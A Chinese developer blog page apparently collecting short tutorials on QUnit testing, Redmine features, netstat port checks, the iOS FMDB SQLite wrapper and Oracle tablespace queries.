//QUnit.asyncTest() QUnit测试异步代码。asyncTest将自动停止测试运行器,等待您的代码调用QUnit.start()继续。
QUnit.asyncTest( "asynchronous test: one second later!", function ( assert ) {
assert.expect( 1 );
setTimeout( function () {
assert.ok( true, "Passed and ready to resume!" );
QUnit.start();
}, 1000 );
} );
QUnit.asyncTest( "asynchronous test: video ready to play", function ( assert ) {
assert.expect( 1 );
var $video = $( "video" );
$video.on( "canplaythrough", function () {
assert.ok( true, "video has loaded and is ready to play" );
QUnit.start();
} );
} );
//QUnit.start() Start running tests again after the testrunner was stopped
//QUnit.stop()  当异步测试有多个出口点,使用QUnit.stop 增加解除test runner等待 应该调用QUnit.start()的次数。
QUnit.test( "a test", function ( assert ) {
assert.expect( 1 );
QUnit.stop();
setTimeout( function () {
assert.equal( "someExpectedValue", "someExpectedValue", "ok" );
QUnit.start();
}, 150 );
} );
//endregion
  //region module QUnit.module()后发生的所有测试调用将被分到模块,直到调用其他其他QUnit.module()。
// 测试结果的测试名称都将使用模块名称。可以使用该模块名称来选择模块内的所有测试运行。
//Example: Use the QUnit.module() function to group tests together:
QUnit.module( "group a" );
QUnit.test( "a basic test example", function ( assert ) {
assert.ok( true, "this test is fine" );
} );
QUnit.test( "a basic test example 2", function ( assert ) {
assert.ok( true, "this test is fine" );
} );
QUnit.module( "group b" );
QUnit.test( "a basic test example 3", function ( assert ) {
assert.ok( true, "this test is fine" );
} );
QUnit.test( "a basic test example 4", function ( assert ) {
assert.ok( true, "this test is fine" );
} );
//Example: A sample for using the setup and teardown callbacks
QUnit.module( "module A", {
setup : function () {
// prepare something for all following tests
},
teardown : function () {
// clean up after each test
}
} );
//Example: Lifecycle properties are shared on respective test context 在测试环境下共享各自的生命周期内的属性
QUnit.module( "Machine Maker", {
setup : function () {
},
parts : [ "wheels", "motor", "chassis" ]
} );
QUnit.test( "makes a robot", function ( assert ) {
this.parts.push( "arduino" );
assert.equal( this.parts, "robot" );
assert.deepEqual( this.parts, [ "robot" ] );
} );
QUnit.test( "makes a car", function ( assert ) {
assert.equal( this.parts, "car" );
assert.deepEqual( this.parts, [ "car", "car" ] );
} );
//endregion
  //region callback
//begin  Register a callback to fire whenever the test suite begins.
QUnit.begin( function ( details ) {
console.log( "Test amount:", details.totalTests );
} );
//done  Register a callback to fire whenever the test suite ends.
QUnit.done( function ( details ) {
console.log( "Total: ", details.total, " Failed: ", details.failed, " Passed: ", details.passed, " Runtime: ", details.runtime );
} );
//log  Register a callback to fire whenever an assertion completes.
QUnit.log( function ( details ) {
if ( details.result ) {
return;
}
var loc = details.module + ": " + details.name + ": ",
output = "FAILED: " + loc + ( details.message ? details.message + ", " : "" );
if ( details.actual ) {
output += "expected: " + details.expected + ", actual: " + details.actual;
}
if ( details.source ) {
output += ", " + details.source;
}
console.log( output );
} );
//moduleStart  Register a callback to fire whenever a module begins.
QUnit.moduleStart( function ( details ) {
console.log( "Now running: ", details.name );
} );
//moduleDone  Register a callback to fire whenever a module ends.
QUnit.moduleDone( function ( details ) {
console.log( "Finished running: ", details.name, "Failed/total: ", details.failed, details.total );
} );
//testStart Register a callback to fire whenever a test begins.
QUnit.testStart( function ( details ) {
console.log( "Now running: ", details.module, details.name );
} );
//testDone Register a callback to fire whenever a test ends.
QUnit.testDone( function ( details ) {
console.log( "Finished running: ", details.module, details.name, "Failed/total: ", details.failed, details.total, details.duration );
} );
//endregion
 //region Configuration
//assert Namespace for QUnit assertions
QUnit.test( "`ok` assertion defined in the callback parameter", function ( assert ) {
assert.ok( true, "on the object passed to the `test` function" );
} );
//config Configuration for QUnit
QUnit.config.autostart = false;
QUnit.config.current.testName = "zodiac";
QUnit.config.urlConfig.push( {
id : "jquery",
label : "jQuery version",
value : [ "1.7.2", "1.8.3", "1.9.1" ],
tooltip : "What jQuery Core version to test against"
} );
//QUnit.dump.parse() 它解析数据结构和对象序列化为字符串。也解析DOM元素outerHtml为字符串
QUnit.log( function ( obj ) {
// Parse some stuff before sending it.
var actual = QUnit.dump.parse( obj.actual );
var expected = QUnit.dump.parse( obj.expected );
// Send it.
} );
var qHeader = document.getElementById( "qunit-header" ),
parsed = QUnit.dump.parse( qHeader );
console.log( parsed );
// Logs: "<h1 id=\"qunit-header\"></h1>"
//QUnit.extend() Copy the properties defined by the mixin object into the target object
QUnit.test( "QUnit.extend", function ( assert ) {
var base = {
a : 1,
b : 2,
z : 3
};
QUnit.extend( base, {
b : 2.5,
c : 3,
z : undefined
} );
assert.equal( base.a, 1, "Unspecified values are not modified" );
assert.equal( base.b, 2.5, "Existing values are updated" );
assert.equal( base.c, 3, "New values are defined" );
assert.ok( !( "z" in base ), "Values specified as `undefined` are removed" );
} );
//endregion

posted @ 2014-12-11 23:24 顺其自然EVO 阅读(147) | 评论 (0)编辑 收藏

项目管理工具Redmine各功能测试

 Redmine功能测试
  Redmine 是一个开源的、基于Web的项目管理和缺陷跟踪工具。它用日历和甘特图辅助项目及进度可视化显示。同时它又支持多项目管理。Redmine是一个自由开放 源码软件解决方案,它提供集成的项目管理功能,问题跟踪,并为多个版本控制选项的支持。
  虽说像IBM Rational Team Concert的商业项目调查工具已经很强大了,但想坚持一个自由和开放源码的解决方案,可能会发现Redmine是一个有用的Scrum和敏捷的选择。 由于Redmine的设计受到Rrac的较大影响,所以它们的软件包有很多相似的特征。
  Redmine建立在Ruby on Rails的框架之上,支持跨平台和多种数据库
  特征:
  支持多项目
  灵活的基于角色的访问控制
  灵活的问题跟踪系统
  甘特图和日历
  新闻、文档和文件管理
  feeds 和邮件通知
  依附于项目的wiki
  项目论坛
  简单实时跟踪功能
  自定义字段的问题,时间项,项目和用户
  SCM in集成 (SVN, CVS, Git, Mercurial, Bazaar and Darcs)
  多个 LDAP认证支持
  用户自注册支持
  多语言支持
  多数据库支持
  功能测试前需设置语言,登录的主界面如下,选择管理--配置可以选择默认语言为中文。
  常用的功能主要有以下几个
  1、可以灵活的任意新建项目,并选择自己所需要的模块。
  2、控制各用户的角色权限
  3、可以新建问题,并自定义问题类型。


  4、在甘特图和日历里可以清楚的看到还未完成的任务。
  5、详尽的新闻、文档和文件管理
  6、可以导出feeds ,并选择邮件通知
  7、项目可创建wiki,简介说明该项目。
  8、项目带论坛,可供开发人员交流思想。
  9、可以跟踪做的所有变更,简单实时跟踪功能
 

10、丰富的自定义功能,可以自定义字段的问题、时间项、项目和用户
  11、方便快捷的支持现有的源码管理系统,SCM in集成 (SVN, CVS, Git, Mercurial, Bazaar and Darcs)
  12、支持多种用户认证方式,LDAP认证支持
  13、支持用户自注册,并可自选语言。
  14、支持多种数据库。
  PostgreSQL, SQLite3 and SQL Server。

posted @ 2014-12-11 23:18 顺其自然EVO 阅读(191) | 评论 (0)编辑 收藏

Linux用netstat查看服务及监听端口

  [root@localhost ~]# netstat -nlp
  netstat命令各个参数说明如下:
  -t : 指明显示TCP端口
  -u : 指明显示UDP端口
  -l : 仅显示监听套接字(所谓套接字就是使应用程序能够读写与收发通讯协议(protocol)与资料的程序)
  -p : 显示进程标识符和程序名称,每一个套接字/端口都属于一个程序。
  -n : 不进行DNS轮询(可以加速操作)
  即可显示当前服务器上所有端口及进程服务,于grep结合可查看某个具体端口及服务情况
  [root@localhost ~]# netstat -nlp |grep LISTEN   //查看当前所有监听端口
  [root@localhost ~]# netstat -nlp |grep 80   //查看所有80端口使用情况
  [root@localhost ~]# netstat -an | grep 3306   //查看所有3306端口使用情况

posted @ 2014-12-08 22:01 顺其自然EVO 阅读(1473) | 评论 (0)编辑 收藏

iOS开发之FMDB

  sqlite作为一个轻量级的数据库,由于它占用的内存很少,因此在很多的嵌入式设备中得到广泛的使用。iOS的SDK很早就开始支持了SQLite,我们只需要加入 libsqlite3.dylib 以及引入 sqlite3.h 头文件即可,但由于原生sqlite的API不是很友好,因此使用的话一般会对其做一层封装,其中以开源的FMDB最为流行。
  FMDB主要的类
  1.FMDatabase – 表示一个单独的SQLite数据库。 用来执行SQLite的命令。
  2.FMResultSet – 表示FMDatabase执行查询后结果集
  3.FMDatabaseQueue – 当你在多线程中执行操作,使用该类能确保线程安全。
  FMDB的使用
  数据库的创建:
  创建FMDatabase对象时需要参数为SQLite数据库文件路径。该路径可以是以下三种之一:
  1..文件路径。该文件路径无需真实存,如果不存在会自动创建。
  2..空字符串(@”")。表示会在临时目录创建一个临时数据库,当FMDatabase 链接关闭时,文件也被删除。
  3.NULL. 将创建一个内存数据库。同样的,当FMDatabase连接关闭时,数据会被销毁。
  内存数据库:
  通常数据库是存放在磁盘当中的。然而我们也可以让存放在内存当中的数据库,内存数据库的优点是对其操作的速度较快,毕竟访问内存的耗时低于访问磁盘,但内存数据库有如下缺陷:由于内存数据库没有被持久化,当该数据库被关闭后就会立刻消失,断电或程序崩溃都会导致数据丢失;不支持读写互斥处理,需要自己手动添加锁;无法被别的进程访问。
  临时数据库:
  临时数据库和内存数据库非常相似,两个数据库连接创建的临时数据库也是各自独立的,在连接关闭后,临时数据库将自动消失,其底层文件也将被自动删除。尽管磁盘文件被创建用于存储临时数据库中的数据信息,但是实际上临时数据库也会和内存数据库一样通常驻留在内存中,唯一不同的是,当临时数据库中数据量过大时,SQLite为了保证有更多的内存可用于其它操作,因此会将临时数据库中的部分数据写到磁盘文件中,而内存数据库则始终会将数据存放在内存中。
  创建数据库:FMDatabase *db= [FMDatabase databaseWithPath:dbPath] ;
  在进行数据库的操作之前,必须要先把数据库打开,如果资源或权限不足无法打开或创建数据库,都会导致打开失败。
  如下为创建和打开数据库的示例:
  NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
  NSString *documentDirectory = [paths objectAtIndex:0];
  //dbPath: 数据库路径,存放在Document中。
  NSString *dbPath = [documentDirectory stringByAppendingPathComponent:@"MYTest.db"];
  //创建数据库实例 db  这里说明下:如果路径中不存在"MYTest.db"的文件,sqlite会自动创建"MYTest.db"
  FMDatabase *db= [FMDatabase databaseWithPath:dbPath] ;
  if (![db open]) {
  NSLog(@"Could not open db.");
  return ;
  }
  更新操作
  一切不是SELECT命令都视为更新操作,包括CREATE, UPDATE, INSERT,ALTER,COMMIT, BEGIN, DETACH, DELETE, DROP, END, EXPLAIN, VACUUM和REPLACE等。
  创建表:
  [db executeUpdate:@"CREATE TABLE myTable (Name text,Age integer)"];
  插入
  [db executeUpdate:@"INSERT INTO myTable (Name,Age) VALUES (?,?)",@"jason",[NSNumber numberWithInt:20]];
  更新
  [db executeUpdate:@"UPDATE myTable SET Name = ? WHERE Name = ? ",@"john",@"jason"];.
  删除
  [db executeUpdate:@"DELETE FROM myTable WHERE Name = ?",@"jason"];
  查询操作
  SELECT命令就是查询,执行查询的方法是以 -excuteQuery开头的。执行查询时,如果成功返回FMResultSet对象, 错误返回nil. 读取信息的时候需要用while循环:
  FMResultSet *s = [db executeQuery:@"SELECT * FROM myTable"];
  while ([s next]) {
  //从每条记录中提取信息
  }
  关闭数据库
  当使用完数据库,你应该 -close 来关闭数据库连接来释放SQLite使用的资源。
  [db close];
  参数
  通常情况下,你可以按照标准的SQL语句,用?表示执行语句的参数,如:
  INSERT INTO myTable VALUES (?, ?, ?)
  然后,可以我们可以调用executeUpdate方法来将?所指代的具体参数传入,通常是用变长参数来传递进去的,如下:
  NSString *sql = @"insert into myTable (name, password) values (?, ?)";
  [db executeUpdate:sql, user.name, user.password];
  这里需要注意的是,参数必须是NSObject的子类,所以象int,double,bool这种基本类型,需要进行相应的封装
  [db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:42]];

多线程操作
  由于FMDatabase对象本身不是线程安全的,因此为了避免在多线程操作的时候出错,需要使用 FMDatabaseQueue来执行相关操作。只需要利用一个数据库文件地址来初使化FMDatabaseQueue,然后传入一个block到inDatabase中,即使是多个线程同时操作,该queue也会确保这些操作能按序进行,保证线程安全。
  创建队列:
  FMDatabaseQueue *queue = [FMDatabaseQueue databaseQueueWithPath:aPath];
  使用方法:
[queue inDatabase:^(FMDatabase *db) {
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:1]];
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:2]];
FMResultSet *rs = [db executeQuery:@"select * from foo"];
while([rs next]) {
}
}];
  至于事务可以像这样处理:
[queue inTransaction:^(FMDatabase *db, BOOL *rollback) {
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:1]];
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:2]];
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:3]];
if (somethingWrongHappened) {
*rollback = YES;
return;
}
// etc…
[db executeUpdate:@"INSERT INTO myTable VALUES (?)", [NSNumber numberWithInt:4]];
}];

posted @ 2014-12-08 22:00 顺其自然EVO 阅读(1426) | 评论 (0)编辑 收藏

查看表空间使用的两条常用SQL

1. 查看表空间大小:
  SELECT tablespace_name, SUM(bytes)/1024/1024 total FROM DBA_FREE_SPACE GROUP BY tablespace_name ORDER BY 2 DESC;
  SQL> SELECT tablespace_name, SUM(bytes)/1024/1024 || 'MB' total FROM DBA_FREE_SPACE GROUP BY tablespace_name ORDER BY 2 DESC;
  注意下上面两条SQL的排序,显然第一条SQL是我们需要的结果,按照表空间大小降序排列。之所以第二条SQL的排序乱,是因为使用了|| 'MB'连接字符串,则这个字段就作为字符串类型检索,排序时就会按照字符的ASCII进行排序。
  2. 查看表空间使用率:
SQL> BREAK ON REPORT
SQL> COMPUT SUM OF tbsp_size ON REPORT
SQL> compute SUM OF used        ON REPORT
SQL> compute SUM OF free         ON REPORT
SQL> COL tbspname     FORMAT     a20          HEADING 'Tablespace Name'
SQL> COL tbsp_size       FORMAT     999,999   HEADING 'Size|(MB)'
SQL> COL used             FORMAT     999,999    HEADING 'Used|(MB)'
SQL> COL free              FORMAT      999,999   HEADING 'Free|(MB)'
SQL> COL pct_used       FORMAT     999,999    HEADING '% Used'
SQL> SELECT df.tablespace_name                              tbspname,
sum(df.bytes)/1024/1024                                           tbsp_size,
nvl(sum(e.used_bytes)/1024/1024,0)                         used,
nvl(sum(f.free_bytes)/1024/1024,0)                            free,
nvl((sum(e.used_bytes)*100)/sum(df.bytes),0)            pct_used
FROM DBA_DATA_FILES df,
(SELECT file_id, SUM(nvl(bytes, 0)) used_bytes
FROM dba_extents
GROUP BY file_id) e,
(SELECT MAX(bytes) free_bytes, file_id
FROM dba_free_space
GROUP BY file_id) f
WHERE e.file_id(+) = df.file_id
AND df.file_id = f.file_id(+)
GROUP BY df.tablespace_name
ORDER BY 5 DESC;
  视图定义:

posted @ 2014-12-08 21:56 顺其自然EVO 阅读(230) | 评论 (0)编辑 收藏

仅列出标题
共394页: First 上一页 2 3 4 5 6 7 8 9 10 下一页 Last 
<2024年4月>
31123456
78910111213
14151617181920
21222324252627
2829301234
567891011

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜